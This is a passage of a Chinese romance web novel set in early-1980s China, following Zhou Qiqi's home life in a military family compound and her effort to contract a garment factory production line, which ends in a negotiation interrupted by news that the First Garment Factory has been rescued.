李萍眼睛亮闪闪的,全是赞赏,又问道,“所以你今儿喊我出来,是这事要找我搭把手?” 周柒柒弯着眼睛笑:“萍姐是个明白人。是这么回事...” 她大致说了说,现在政策刚松动,不兴个人投资承包厂子,但几个月前有人承包生产线救活了快破产的厂子,还受了中央表扬。 显然,国家是在逐步放宽这方面的限制,也有意鼓励企业自产自救。 “我想照着这个路子来,承包一条生产线,做我自个儿设计的衣裳。设计图我出,生产线管料子和生产,利润咱商量着分。” 其实早先选第一服装厂的库存改,就是想试试这法子行不行。 要是行,等库存卖完就走这步棋,往后再琢磨承包厂子,自个儿建厂,一步步来。 哪成想半道杀出吕守钱这档子事,跟第一厂是没法合作了,只能让李萍帮忙找找别的厂子。 说着她便是像模像样的给李萍递了一瓶汽水递了过去。 “萍姐在G市是顶顶大的批发商,肯定有这方面的人脉。就看您愿不愿拉我一把了?” 李萍是跑江湖的生意人,啥场面没见过,却也正经八百接过汽水,"滋"地嘬了一口,说道。 “愿意!咋能不愿意!别跟我您啊您的,我还得谢你信得过我呢!” 她清楚周柒柒的本事,这丫头往后在服装行准能闯出名堂,今儿帮她,也是给自个儿铺路。 G市除了第一厂,还有第二、第三服装厂。 李萍琢磨了一会儿说:“这俩厂子我都有相熟的人。自打自主经营后,好多国营厂都活得不易,这俩厂虽说没第一厂那么惨,日子也紧巴。你这合作法子,对他们来说是个机会,不过...” 她话头顿了顿,有点犯难。 周柒柒歪着脑袋笑,“萍姐有话就敞开了说,我心里有数。” 李萍脸色严肃起来,“国营厂的人大多认死理,瞧不上外头的人。你这法子太新,还得从他们手里分钱,保不齐人家不乐意...” 周柒柒拧紧了眉头:“都快过不下去了,咋还不琢磨着变变?” 李萍耐着性子解释。 “这你就不懂了。这些厂子端了二三十年国家的饭碗,打骨子里觉得国家会兜底,犯不着折腾。” 李萍原先也是这样,但自打去了花城,鹏城特区等沿海发达地区,从电视机里看到了香江的繁华,才知道外面的世界一天一个样。 她毅然决绝地放弃了售货员的工作,自己做起了档口生意,这两年赚得盆满钵满。 所以她对自个儿的眼光有底气,又道。 “柒柒,不管最终结果怎么样,我都会努力帮你说和的,就算这条路子不行,我还可以帮你和鹏城特区那边的服装厂牵线搭桥,我在那边也算是有点人脉。” 周柒柒点了点头,从包里拿出早就准备好的字条。 “行,我先谢谢萍姐了,等有信儿了你打这个电话就行,不过最好还是能在G市吧。” 毕竟沈淮川在这里,舟舟在这里,她的家也在这里。 吃过饭,她又去李萍的档口聊了一会儿天,买了点布料,等到四点多,才坐着采购车回到家属院。 刚一推开门,沈淮川就过来把她手里的东西都接走了。 “怎么这么晚才回来,是出了什么事嘛?” 周柒柒慌了一下,脸色微红,赶紧摇头。 “没有没有,能出啥事啊,钱都拿回来了,我就是和之前摆摊认识的朋友多聊了一会儿。” 不等沈淮川再接话,她赶紧从袋子里翻出两个柿子,红彤彤的像小灯笼。 “快快快,尝尝我在路边买的柿子,长得又大又周正,肯定甜!” 说着就跑到水龙头底下冲了冲,塞给沈淮川一个,自己拿起一个就往嘴里送。 “别吃!"” 沈淮川伸手去夺,却晚了一步,只听见“咔擦”一声脆响,周柒柒已经咬下一大口柿子肉。 第139章 秋柿 周柒柒脸颊发烫,为了掩饰心虚,狠狠咬下一大口柿子。 哪想牙齿刚磕到果肉,舌尖就像被粗砂纸狠狠磨过,涩得发麻发胀,那股子干涩劲儿顺着舌根往喉咙里钻。 “呸呸呸~~!” 她条件反射地把嘴里的果肉全吐在手心里,整张脸皱作一团。 沈淮川见状赶紧转身去倒水,可温水冲了好几口,涩味还是赖在嘴里不走。 倒是里屋的舟舟听见动静,攥着颗水果糖跌跌撞撞跑出来。 薄荷糖的凉气裹着甜味漫开,周柒柒才舒了口气,低头瞅着手里红澄澄的柿子直犯愁。 “这柿子咋中看不中吃呢?难不成那老奶奶骗我了?” 这柿子是路边一位头发花白的老奶奶卖的,她看老人家一把年纪了,就把框子里剩下的全都买了。 当时老奶奶打包票说全都是熟的,放心买就成。 可没想到,根本就不是那么一回事。 沈淮川看她嘴巴扁扁的,又委屈又难受,赶紧解释道。 “老人家没骗你,这是涩柿子,品种就这样,熟了皮儿红,但得不能直接吃,得脱涩了才行。” 知道老奶奶没骗人,周柒柒松了一大口气,瞬间轻快了起来,眼神都清亮了不少,但还是忘不了舌头遭的罪,嗔怪道。 指尖戳着沈淮川的胳膊嗔怪,“那你咋不早说!都怪你!” 她说话时睫毛扑闪扑闪的,带着水汽的眼睛又娇又媚,还带着点孩子气。 沈淮川垂着眼皮任她数落,喉结滚了滚,“是我的错。” 周柒柒自己咬了咬唇,“那涩柿子,怎么脱涩啊?” 她买了一大袋,总不好浪费了。 沈淮川摇了摇头,这方面他就不太懂了。 周柒柒扯下布包往沈淮川怀里一塞。 “那我去翠香姐家问问去,她肯定懂!” 邓翠香家在后头几排的边儿上,人还没到呢,隔着老远就能闻到酸菜坛子的酸香。 家里有个皮小子,门常年都是虚掩着的。 周柒柒刚推开门,就见邓翠香站在院里切豇豆,菜刀在青石板上剁得“咚咚”响。 “翠香姐!” 她扬了扬手里的柿子,“你瞧瞧这玩意儿!” 邓翠香直起腰,用围裙擦了擦手。 她额角沁着汗珠,鬓角的碎发被汗水粘在皮肤上,“哟,磨盘柿?哪儿弄得这么好品相!” 她接过柿子掂量两下,指腹蹭过柿蒂,“看这纹路,少说是长了十五年的老树了!好东西啊!脱了涩肯定好吃!” 周柒柒笑着问道。 “那咋脱涩啊?我买了一大袋子呢!” 邓翠香把豇豆往坛子里码,手指沾着盐水点了点。 “看你想吃啥样儿的,脆的就用石灰水浸,得是干净的,兑上温水,泡三天三夜。软的就跟苹果梨搁一块儿捂,记得找熟透的,捂个四五天就能吃。” 她用胳膊肘捅了捅周柒柒,“你家地窖刚砌好,阴凉地儿正好捂柿子。” 周柒柒听得眼睛直放光,“反正我买得多,那就硬的软的都做!” 说着便是把脑袋贴在了邓翠香肩膀上,“翠香姐真厉害!我就说你懂得多!” 邓翠香“噗嗤”笑出声,在围裙上搓了搓手。 “那行,我这豇豆也切完了,洗洗手过去帮你。” “不用不用!” 周柒柒慌忙摆手,“你这泡菜要紧,得拿出去卖钱呢,耽误一会儿味儿都不好吃了,影响你口碑。你把法子告诉我,我自个儿弄就行,家里淮川和舟舟,还有石头都在呢,都能帮忙,不缺你一个。” 正说着,院门外传来“扑通通”的脚步声。 向阳扒着门框往里瞅,鼻尖上还沾着块泥,眼睛亮晶晶的。 “周阿姨!加我一个呗!我帮你捂柿子!” 邓翠香抄起菜勺作势要打,“你个皮猴子!一身泥别脏了我坛子!去去去,一边玩儿去!” 转头又对周柒柒说,“这小子帮我捂过好几次柿子,精着呢!你让他过去帮忙也成。” 向阳往后蹦了一大步,脑袋点得跟捣蒜似的。 “对对对!周阿姨,我最爱吃柿子了!” 周柒柒佯装生气,伸手刮了刮他的鼻子。 “前几天不还说最爱吃周阿姨做的爆米花吗,这才几天啊,就变了?” 小家伙挠了挠头,露出两颗虎牙嘿嘿傻笑。 邓翠香瞧着儿子这副模样,又好气又好笑。 “他呀,小馋猫一个,就没有不爱吃的!给啥都吃!啥都最爱!这一辈子估计都要栽在吃上了!” 周柒柒过去揉了揉小家伙的脑袋,笑道。 “能吃是福啊,要是都跟舟舟似的,什么东西都吃不多,你才发愁呢!” 舟舟这小丫头吃什么东西,都不太香,也就她做的饭,勉强能多吃几口,可也是跟小鸟似的,吃几口就饱了。 这几天她不舒服,家里吃的饭菜都是食堂里带回来的饭菜。 舟舟每次只吃一点儿就停筷子了,前阵子脸上好不容易长起来的那一点肉眼看着又要瘪下去,她看在眼里都着急。 “翠香姐,你帮我想想有什么法子没有?” 邓翠香把最后一把豇豆塞进坛子,拍了拍坛口的荷叶,走过来揽着周柒柒的肩膀,挤眉弄眼笑道。 “要我说啊,你想什么别的法子都没用,不如你赶紧生一个,有人跟她抢着吃饭,她就吃得香了!向阳这小子就这样,总和向海赛着吃饭。” 说着她还给周柒柒眨了眨眼。 “这不,事儿快过去了吧?沈淮川这伤估摸着也养得差不多了,过一个礼拜就是关键时期了,你抓紧时间弄出点动静!” 周柒柒的脸“腾”的一下红到了耳根,咬着嘴唇嗔道。 “翠香姐,你说什么呢?!孩子在呢!” 邓翠香满不在乎地摆摆手,“怕什么?他又听不懂。” “哎呀,我不跟你说了,向阳,咱们走!” 周柒柒拽着向阳就走。 以前她总觉得老一辈的人思想保守,可正儿八经传过来之后才发现,这说话、办事,可都比她这个现代人奔放多了。 她都有点顶不住。 回到家,周柒柒立刻招呼一家人忙活起来。 她把柿子分成两半,一半放进拌好的石灰水缸里,又仔细盖上一层树叶; 另一半和熟透的苹果放进竹筐,轻轻搁在地窖阴凉处。 等忙活完,日头已经西斜,也差不多到了饭点了。 今儿是周末,食堂难得炖了大骨头,秦磊打回来一大盆,香气在院子里飘得到处都是。 周柒柒瞥见姜向阳明明说着要回家,却一步三回头,眼巴巴地望着冒着热气的骨头,连吞口水的声音都快听见了。 她忍不住笑出声,一把拽住小家伙的胳膊。 “还走什么呀,帮了好一会儿忙了,就留在周阿姨家吃饭!” 说着冲屋里喊,“淮川,加双碗筷!” 第140章 洗手和吃饭 "周阿姨万岁~!" 姜向阳扯着嗓子喊完,小胳膊小腿撒欢儿似的就往饭桌前蹦,那劲头恨不得一蹦三尺高。 周柒柒眼疾手快地揪住他后颈的衣领子。 “哎哎哎~小皮猴子!吃饭前得先跟舟舟一块儿洗手去,瞧瞧你这裤腿子,摘个树叶都能扑腾得跟泥猴儿似的。” 小家伙垮着小脸应了声"好吧",磨磨蹭蹭挪到水龙头底下。又准备敷衍了事。 冷不丁脸颊上被弹了团香皂沫子,凉丝丝的直往眼睛缝里钻。 姜向阳一抬头,就见沈渡舟小眉头微微蹙着,那双葡萄似的大眼睛一眨不眨,樱红的嘴唇张了又合,分明在说“洗、手”两个字。 “啥呀,看不懂看不懂。” 他揉着眼睛往后躲,沈渡舟却跟个小尾巴似的跟上来,纤瘦的手指揪住他后颈的衣领子,把人硬生生拽回水池边。 她仰着小脸,嘴唇一张一合的频率更快了,带着点不达目的不罢休的执拗:“洗、手,洗、手,洗、手...” 姜向阳不回复,她就一直说,姜向阳看她说得费力,只得说道。 “好吧好吧,看懂了,洗手,洗手!知道了,知道了。” 被沈渡舟盯着,姜向阳没法子。 他故意把水拍得哗啦啦响,搓完手心搓手背,连指甲缝都仔细抠了抠,末了还拿毛巾把裤腿上的土疙瘩也吧啦干净。 那叫一个仔细。 等两孩子上了饭桌,周柒柒早把搪瓷盘子摆得整整齐齐。 她知道舟舟胃口小,特意挑了个碗口大的骨头,又加了块肉多的小骨头,肥美的肉筋还挂在骨头上晃悠。 给姜向阳的盘子里却堆了四块大骨头,骨头上的肉炖得烂乎乎的,筷子一戳就能戳到底。 这小子袖子往上一捋就埋头啃起来,腮帮子一鼓一鼓的,那叫一个香。 周柒柒瞧着他吃的那叫一个香,原本只想啃俩骨头的,愣是多吃了半个。 剩下的半个丢给了沈淮川。 再看沈渡舟,慢条斯理地拿着小搪瓷勺刮着骨头上的肉,一小块肉能嚼上半天,吃完小的,就不打算再吃了。 周柒柒指了指那块大骨头。 “舟舟,再吃点呗,你看你这小身板,风一吹就倒了。” 小姑娘抬起头,眼睛亮得像浸了水的黑葡萄,轻轻摇了摇头,那意思是吃饱了。 正说着呢,姜向阳突然把油乎乎的脸凑到沈渡舟面前,嘴唇上还沾着肉渣,一字一句地对她说着:“吃、饭。” 沈渡舟嫌他嘴上的油点子,往后躲了躲,后背都快贴到椅子背上了。 哪知道这小子得寸进尺,把嘴凑到她耳朵边跟念经似的:“吃饭吃饭吃饭吃饭...” 温热的气息吹得沈渡舟耳朵尖都红了,她往左躲,他就往左追,她往右闪,他就往右凑,活像个甩不掉的小尾巴。 被他缠得没法子,沈渡舟认命地抱起盘子里的大骨头,小口小口地啃起来。 姜向阳坐在旁边,手里捏着个白面馒头,眼睛却一眨不眨地盯着她,见她啃完了才咧开嘴笑,露出两颗刚换的门牙。 等沈渡舟放下骨头,二话不说就拽着姜向阳往水池跑,两孩子在水龙头底下又开始拉扯,一个要擦手,一个要跑,溅得满地都是水。 周柒柒在旁边看得捂嘴偷笑,戳了戳沈淮川的胳膊。 “还是这小子有招,我看呐,不然我去跟翠香姐说一声,让向阳以后都在咱们家吃饭好了,舟舟肯定每天都能多吃两口,你觉得咋样?” 她满心以为沈淮川跟她想的一样,却没想到,沈淮川看着水龙头下,沈渡舟的胳膊紧紧挨着姜向阳的胳膊,却是眉头紧皱,声音也闷闷的。 “我看...不太好。” “啊,为啥啊?”周柒柒不解。 沈淮川:“人家邓嫂子的儿子,总在咱们家,这也不太像话吧?” 周柒柒捂着嘴乐。 “这有啥不像话的?今儿我把向阳带走,翠香姐高兴得都要烧高香了!” 沈淮川没接话,视线落在沈渡舟和姜向阳挨在一起的胳膊上,喉结轻轻滚动了一下。 “到底不是自己家,向阳待着肯定不舒服,未必乐意天天来。” “有吗?我看他挺乐意来的啊。” 正说着呢,姜向阳追着沈渡舟满院子跑,手里举着个铁环,笑得嘴角都快咧到耳朵根,阳光把他俩的影子拉得老长老长,叠在一块儿晃来晃去。 沈淮川看着那俩影子,半天没吱声。 周柒柒瞅着他那模样,忍不住笑出声。 “不过你说的也有道理,到底不是自己家,每天来确实也麻烦。” 沈淮川眼睛一直追着姜向阳,这会儿听周柒柒这么一说,刚松了一口气,却又听她接着说。 “隔三岔五,经常来就行了。” 沈淮川:......(有什么区别吗?) 吃完饭,向阳又拉着舟舟玩了一会儿滚铁环才回家。 现在向阳已经是大院里滚铁环玩得最好的了,每次和小伙伴比赛都能得第一,舟舟还是慢悠悠的拐弯,慢悠悠的加速,什么都慢悠悠的,不过两个人莫名的就是能玩到一起去。 天擦黑之后,向阳就回家去了,舟舟在自己屋子里画画。 沈淮川靠在床头看书,台灯的光在他脸上投下柔和的阴影。 周柒柒坐在桌子前,铺开画了一半的设计图。 她从自己的布包里拿了之前画了一半的图,拿的时候,布包里的合同不小心掉了出来,两页纸叠在一起,第一阶段的章盖得方方正正,第二阶段的格子还空着。 她指尖划过“张国强”几个字,想起那人在电话里,哭着说工友们过冬的炭有着落了。 又想起马师傅爽朗的笑声,还有那一手好手艺。 叹了口气,她把合同揉成一团,扔进脚边的垃圾桶,纸团砸在桶底,发出沉闷的响声。 心里头乱糟糟的,铅笔在纸上划来划去,就是画不出个像样的线条。 直到熄灯前,桌上还是只有几张揉皱的废纸。 她气鼓鼓地钻进被窝,背对着沈淮川。 “怎么了?是不是厂里出了什么事儿?” 沈淮川翻过身,手轻轻搭在她肩上。 周柒柒闷声闷气地说,“没事,就是...腰还有点酸。” 她没敢看沈淮川的眼睛,睫毛在眼皮上投下一小片阴影。 沈淮川没再说话,只是把被子往她那边拽了拽,冷眼看了看垃圾桶的方向。 第141章 可以穿针引线了 自从家里捂上了柿子,向阳这小子每天下午和舟舟一道蹦蹦跳跳回到家属院,连书包都顾不上放,撒开脚丫子就往周柒柒家跑,嚷嚷着要去地窖看柿子熟没熟。 周柒柒每次都站在院子里,双手往腰间一叉,扯着嗓子喊,“没好呢!哪有那么快啊!再等等!” 可向阳压根儿不信,非要拽着舟舟往地窖钻。 这几天周柒柒和沈淮川去了好几趟集市,买了好多东西。 大白菜、萝卜、土豆,红薯,大葱,还有红通通的苹果、黄澄澄的梨,以及带着硬壳的核桃、栗子等干果,一趟趟往回搬。 地窖里很快就被塞得满满当当,大框小框摞得老高,堆得跟小山包似的。 向阳这孩子毛毛躁躁的,走路都不带看脚下。 周柒柒心里直打鼓,生怕他一个不小心磕着碰着,或者心急去拿柿子,手被石灰水烧着了。 于是,就远远地跟在后头。 可跟了一路,周柒柒才发现,自己这担心纯属多余。 向阳虽说上蹿下跳的,但只要舟舟斜眼一瞪,小家伙立马就蔫了,乖乖地站在那儿,大气都不敢出。 俩人趴在水缸边上,跟做贼似的,一个用口型比划着“熟、了”,一个使劲摇头说着“没、熟”。 向阳忍不住伸手要去捞,舟舟眼疾手快,抄起手里的手电“啪”地打在他手背上。 向阳“哎哟”一声,赶紧把手缩回来,老老实实站好,那委屈巴巴的模样,看得人忍俊不禁。 看着这样的舟舟,周柒柒心里直感慨。 之前周淑华还说舟舟是个文静的小女孩,可朝夕相处了两个多月,她算是看明白了。 这丫头,哪有表面上那么文静,简直就是个小辣椒! 泼辣得很,而且骨子里透着股子劲儿,坚强勇敢,有仇当场就报,主意正得很。 而且有一点跟她很像,那就是——很会拿捏人! 向阳这小子,在大院里是皮猴儿,在她这儿,乖得就跟小猫儿似的。 这柿子一天不熟,向阳就一天不落,天天跑过来看。 连着跑了四天,到第五天下午。 周柒柒去地窖拿白萝卜的时候,意外发现有两个和苹果放一起的柿子软了。 她心里一喜,想着赶紧拿出来,给舟舟和向阳一人吃一个。 眼瞅着到点儿了,舟舟回来了,向阳却没见人影。 周柒柒坐不住了,索性拿着柿子,往邓翠香家走去。 一进门,就瞧见邓翠香腰都直不起来,还硬撑着在灶台前看着向阳煮面条。 周柒柒看她腰都直不起来,赶紧过去把人扶着去了床上,又拿了枕头给她靠着。 “翠香姐,你这都伤成这样了,怎么还做饭呢,去卫生所看过了没?” 说着又环顾家里,“姜营长人呢?” “他这两天去外地学习去了,没在家。” 邓翠香疼得龇牙咧嘴,缓缓坐下,有气无力地摇了摇头,一脸无奈。 “卫生所也没去,去了也没用,又没大夫给看病。” 周柒柒皱起眉头,满脸疑惑。 “咋没大夫?林瑶不就是嘛?” 虽然林瑶看起来就是个半吊子功夫,但发个膏药啥的,应该没多大问题。 一提起林瑶,邓翠香立马撇了撇嘴,满脸的嫌弃。 “嗨,还说呢,说是分来了大夫,结果这个林瑶总是请假,刚开始说要整理药柜,后来又说感冒发烧,前两天又说正在准备结婚,反正就是不正经给人看病,咱们军属区的军嫂们都怨声载道的,说这分了大夫,和没分大夫一个样...” 结婚? 周柒柒心里猛地“咯噔”了一下。 之前在军属区看到林瑶,已经感觉膈应的不行了,这会儿要结婚,估摸着许树可能也会过来军属区。 她现在是真不想和许树再有任何瓜葛了,只在心里默默祈祷,希望两人能去别的地方结婚,千万别在军属区,不然不但是许树,说不定许树的父母也会跟着来。 想起许树的父母,周柒柒忍不住打了个寒颤。 许树虽说渣,但七八年没见了,除了退婚那档子事儿,倒也没怎么折磨原主。 可许树的父母,那简直是极品中的极品,把原身当成家里的物件,非打即骂,把见不着儿子的怨气全撒在原身身上。 在他们眼里,养大原身就是天大的恩情,原身就得像个奴仆一样伺候他们。 要是让他们知道,“周柒柒”非但没和许树结婚,还借着机会嫁给了军官,指不定得闹成啥样。 “行了,咱们别说她们了。” 周柒柒使劲摇了摇头,想把那些糟心事都甩出去。 她把目光重新放回邓翠香的腰上,语气坚定地说。 “你这腰,得去医院看看,我让秦磊开车送你去市军区医院吧。” 邓翠香赶忙摆了摆手,强挤出一丝笑容。 “不用不用,就一点小毛病,以前也有过,躺两天就好了,犯不着专门跑一趟那么麻烦,再说了,这会儿大夫也都下班了,我这点小毛病真不至于再去挂急诊。” 周柒柒又苦口婆心地劝了几句,可邓翠香主意打定了,怎么都不肯麻烦秦磊。 “现在不去,那就明天早上去吧,明天淮川要去医院复查,高低都是要去的,顺便带你一起去,这总行了吧?” 周柒柒不依不饶地说道。 “这...” 邓翠香还有些犹豫。 这时,姜向阳趴在她床边,小手摇着她的胳膊。 “妈,你就去看看吧!我明天不去上学了,陪着你一起去!” 周柒柒摸了摸他的小脑袋。 “向阳真孝顺!就这么定了!翠香姐,明天早上我来接你来!你这饭也别做了,今天我家里炸的油饼,还有多的呢,让向阳过去端去!” 她的事儿已经彻底过去,一点儿也不疼了,歇了那么多天,食堂的饭是真的吃的够够的了。 今天这就做了沈淮川爱吃的炸油饼。 邓翠香看着姜向阳,眼神里带着点小嫌弃。 “他那哪儿是孝顺啊,是本来就不想去上学才对,妈答应你去看病,但你必须得去上学!” 嘴上这么说,手却轻轻摸了摸向阳的脑袋。 小家伙头发被两个大人揉得乱蓬蓬的,跟鸡窝似的。 “谢了,柒柒。”邓翠香感激地说道。 “这么说就生分了哦。”周柒柒佯装生气地说道。 第二天一早,天还蒙蒙亮,周柒柒就系上围裙,在厨房里忙活开了,煮了一大锅热气腾腾的米粉。 煮好后,赶紧让舟舟去喊翠香姐一家过来吃饭。 大伙围坐在桌前,一边吃着热乎乎的米粉,一边有说有笑。 吃完饭,向阳、向海和舟舟背着书包,结伴去上学。 秦磊则开着车,载着沈淮川、周柒柒、邓翠香和向阳,一路朝着军区医院驶去。 到了医院,秦磊带着沈淮川去复查,周柒柒和向阳陪着邓翠香去检查。 邓翠香平时干活多,身体底子好,这次只是扭伤,确实不算太严重,医生给开了点药和膏药。 周柒柒安顿好邓翠香后,赶忙去看沈淮川。 等她赶到的时候,检查已经做完了。 丁主任拿着片子,脸上露出满意的笑容。 “恢复的不错,看来在饮食上没少下工夫,也把我说的话放在心上了,很好很好。” 紧接着,丁主任凑近周柒柒,压低声音,神神秘秘地说。 “现在这种情况就可以穿针引线了,稍微注意一点就成,不影响恢复。” 第142章 不要签! “知道了,丁主任。” 周柒柒应着声,耳尖却像被火烧似的烫起来。 她偷眼瞅了瞅旁边的沈淮川,见他正低头翻看病历本,鼻梁在阳光下投出利落的阴影,喉结随着吞咽动作轻轻滚动。 也不知听没听到丁主任的话。 从军区医院出来,差不多是十一点多,秦磊开车带着沈淮川邓翠香先回了军属区。 周柒柒则是去批发市场找了李萍。 李萍早就在自家门口等着了,见她过来,老远就挥起了手。 “柒柒你可算来了,饿了吧?快跟我走,国营饭店占了座儿,菜都点上了。” 李萍点了四菜一汤,红烧肉、熘肝尖、素炒豆角,还有个鸡蛋汤,搪瓷盘子堆了小半桌。 周柒柒刚坐下,李萍就把一瓶冰镇北冰洋推过来,玻璃瓶壁上凝着水珠,她拧开瓶盖灌了两大口,冰凉的甜水顺着喉咙往下淌。 之前来事儿喝的都是热水,她都快想死这口冰的了,笑着问道。 “萍姐,是承包生产线的事有信儿了?好消息还是坏消息?” 李萍给自己也开了瓶汽水,咕嘟喝了两口才笑着回道,“都有都有,你想先听哪个?” 她拿筷子夹了块红烧肉放进周柒柒碗里,肉皮炖得透亮,筷子一戳就烂。 周柒柒扒拉着白米饭,嘴角沾了点肉汁,拿手绢擦了擦才说。 “那就先听坏消息吧,先苦后甜嘛。” “你倒是坦然。” 李萍眼里闪过一丝赞赏,放下筷子叹了口气。 “这几天我跑断了腿,第二和第三服装厂都去了。二厂那老厂长,戴个老花镜,说话慢悠悠的,知道你设计的那些款式,直夸你有本事。” 她夹了一筷子熘肝尖,嚼了两口才接着说。 “坏消息就是,人家只愿意聘你当设计师,承包生产线的事儿压根不松口,说什么‘怕犯错误’、‘政策还不明朗’,老脑筋转不过弯来。" 周柒柒挑了挑眉,夹起一块红烧肉慢慢嚼着。 这事儿她早有心理准备,八十年代初,铁饭碗还金贵着呢,谁敢轻易把生产线包出去? 她咽下肉,喝了口汽水才说,“没事儿,还有三厂呢,萍姐快说好消息。” 李萍放下筷子,认真地说:“三厂愿意谈合作,不过邱厂长说,条件得当面跟你谈。” 她顿了顿,看着周柒柒的眼睛。 “之前说的合作模式,原材料、工资、设备维护都归你,厂子出厂房和设备,自负盈亏,盈利三七分,你七,厂子三,邱厂长觉得...得改改。" 周柒柒心里咯噔一下,握着筷子的手紧了紧。 这模式是她琢磨了好几天,参考了报纸上的乡镇企业案例才提出来的,自认已经很有诚意了。 她皱眉问道,“具体哪一方面,他们觉得不满意?” 这一点,吃完饭后,李萍直接带了周柒柒去第三服装厂见厂长丘奉贤,让他自己来说。 北城比南城要冷清些,路上自行车少了不少,偶尔驶过一辆解放牌卡车,扬起一阵尘土。 三厂的大门是红砖砌的,门口挂着块掉了漆的木牌,上面写着“第三服装厂”。 院子里停着几辆二八自行车,墙根下晒着布料,花花绿绿的挺热闹。 邱厂长的办公室在二楼,楼道里飘着一股机油和布料混合的味道。 办公室不大,墙上挂着“团结奋进”的标语,还有几件冬季样品衣裳。 周柒柒瞅了瞅,样式比一厂的新潮些,领口和袖口有花边,但针脚有点歪,扣子也缝得松松垮垮,还有没剪干净的线头。 她眉头微不可察地皱了一下,这做工可不行。 邱厂长穿着灰中山装,头发梳得整整齐齐,见她们进来,热情地招呼。 “周同志,李同志,快坐快坐。” 他让秘书倒了两杯茶水,搪瓷杯上印着“为人民服务”,茶水颜色很深,飘着几片茶叶沫子。 “合作的事,李同志跟我提过了。” 邱厂长靠在椅背上,手指敲了敲桌子。 "模式是个好模式,就是利润分配嘛...得调个个儿,厂子里拿七成,你拿三成。" 李萍当场就皱了眉,往前探了探身子. “邱厂长,这可不行啊!三成连工人工资都够呛,哪还能挣钱?这不是让柒柒做赔本买卖吗?” 邱厂长笑了笑,从兜里摸出烟盒,抽出一支叼在嘴上,没点。 “萍姐,你这就不懂了。这模式能不能挣钱还两说呢,她要是赔了,拍拍屁股走人,厂子怎么办?工人工资谁发?我得多拿点,心里才有底嘛。” 他眼睛瞅着周柒柒,像是在看一个不懂事的小姑娘。 周柒柒端起搪瓷杯,吹了吹茶叶沫子,慢慢喝了一口。 茶水有点涩,她放下杯子,看着邱厂长说。 “邱厂长信不过我,我理解。毕竟头一回合作。” 她顿了顿,手指轻轻敲着桌子。 “但三七开确实不合理。这样吧,您觉得多少合适?咱们各让一步。” 她语气平静,眼神却很坚定,不像个二十出头的姑娘。 邱厂长本来见她年轻,想压压价,没想到她这么镇定。 再看看她身上穿的西装,样式是市面上没见过的,剪裁合体,布料也好,心里不由得重新打量起来。 他坐直了身子,斟酌一番后开口,“这样吧,六四分,厂子里四,你六。不能再低了,厂子也得担风险。” 李萍拉了拉周柒柒的袖子,低声说。 “柒柒,这已经是让步了。要是不成,就得联系鹏城的厂子,可离这儿太远了,坐火车得三十多个小时,还得换乘,太折腾了。” 周柒柒心里盘算着。 鹏城是开放前沿,机会多,但离家太远,来回一趟太费时间和精力。 要是能在本地合作,自然是最好的。 她咬了咬嘴唇,点了点头:“行,邱厂长,那就先按六四分来。” 然后又补充道。 “不过这质量方面,我要亲自把关。” “没问题。” 邱厂长立刻让秘书打了合同,一式两份。 周柒柒接过合同,手指有点发颤。 这可是她第一次正儿八经创业,不是小打小闹,成败就在这一纸合同上。 她仔细看了看条款,原材料、工资、设备维护都归她,厂子提供厂房和设备,盈利六四分,试运营三个月。 条款没问题,就是分成比预想的少了点。 她拿起笔,笔尖悬在合同上,正要往下写,却犹豫了一下。 就在这时,突然听见门外传来一阵急促的脚步声,接着是个嘶哑的声音,焦急地喊道。 “周师傅!不要!不要签!” 第143章 咋可能认识什么副市长 这声音太熟悉了,周柒柒猛地抬起头,笔从手里滑落,“啪”地掉在桌子上,她下意识地往门口望去。 李萍也站了起来,脱口而出喊道,“张国强?你怎么来了?” 张国强额头沁着层薄汗,蓝色工装裤膝盖处还沾着泥点子,显然是一路疾跑来的。 他先朝着李萍郑重地点头致意,又抹了把脸上的汗,然后快步走到周柒柒面前。 “周师傅,麻烦你,先不要签!先听我说!” 张国强胸口剧烈起伏着,伸手扶住周柒柒面前的桌子,震得台面上的印泥盒都跟着晃悠。 “咱们厂子有救了!” “什么?” 周柒柒眉头高高挑起,“真的?” “当然是真的了!” 张国强扯松勒的发红的领口,喉结上下滚动着,工装后背已经洇出大片深色汗渍, “吕守钱和他姐夫都被市政府的调查组带走了!这次是动真格的了!他厂长的职位已经被撸了!市里任命我暂带厂长一职,全权管理第一服装厂!” 他说着,从帆布挎包里掏出个牛皮纸文件袋,“咱们的合同可以继续了!” “太好了!” 周柒柒重重呼出一口气,心中当即松快了下来。 还没等她缓过神,就听张国强又急切地说道。 “你的承包合同,萍姐也给我看过了,我们第一服装厂愿意和你签三七的合同!这第三厂的合同,你千万别签!” 邱厂长一听这话就傻眼了。 “张国强,你...你这是来我这儿砸场子的?!” 他转脸对着周柒柒,态度强硬。 “周同志,你可别听他的,他们第一服装厂库存积压都好几件了,生产的都是那些卖不出去的老旧款式,质量还差,工人也都是老弱病残了!你这合同,还是得和我们签!” 他把合同怼到了周柒柒跟前。 周柒柒喉结动了动,伸手把合同往旁边推了推。 “不好意思,邱厂长,这合同,我暂时签不了了。” 第一服装厂的情况,她还是了解的,绝不像是邱厂长说的这样。 邱厂长被气了个半死,没想到谈得好好的合约,却被一个半死不活的第一服装厂给截胡了,当即拉了脸。 “你你你...你可别后悔!过了这村儿就没这店了!要是那边不成,你再找回来,就没这么好的分成给你了!” 又转过身去。 “还有你,张国强!你...你给我等着!到时候你们厂破产了,可别求着让我们厂收购!” 张国强在外头一直都是敦厚善良的形象,但这一次,却是一反常态,嘴角扯出个似笑非笑的弧度。 “邱厂长,你有时间诋毁我们,还是抓紧时间把自己厂子的产品质量把把关吧。” 三人走出第三服装厂的大门,只见门口停了一辆擦得锃光瓦亮的解放牌卡车。 李萍伸手拍了拍干净的可以照镜子的车门,笑道。 “哟,张副厂长终于舍得开厂里的卡车出来了,我还以为你又是骑三轮车过来的呢!不心疼油钱了?” 张国强挠了挠被帽子压塌的头发。 “这不是事情紧急吗?不开车我怕来不及,快上车吧。” 话音刚落,厂里的司机小黄就从驾驶室探出头,招呼三人上了车斗。 他咧着嘴露出两排大白牙,和一个月前蹬三轮车时灰头土脸的模样判若两人。 上了车,周柒柒抓着车厢边缘的铁栏杆,迫不及待地问道。 “张副厂长,到底咋回事啊,你具体说说!” 卡车碾过石子路,发出“咯噔咯噔”的声响。 张国强背靠车厢,望着远处烟囱冒出的白烟,开始娓娓道来。 上个星期,市经委的人把吕守钱带走后,第二天就把人放了回来。 吕守钱得知张国强把货款发给工人,气得把保险柜都摔了,当场罚张国强去看大门,连带着为他求情的马师傅也被停职。 “本来我都打算收拾铺盖回老家了。” 张国强苦笑一声。 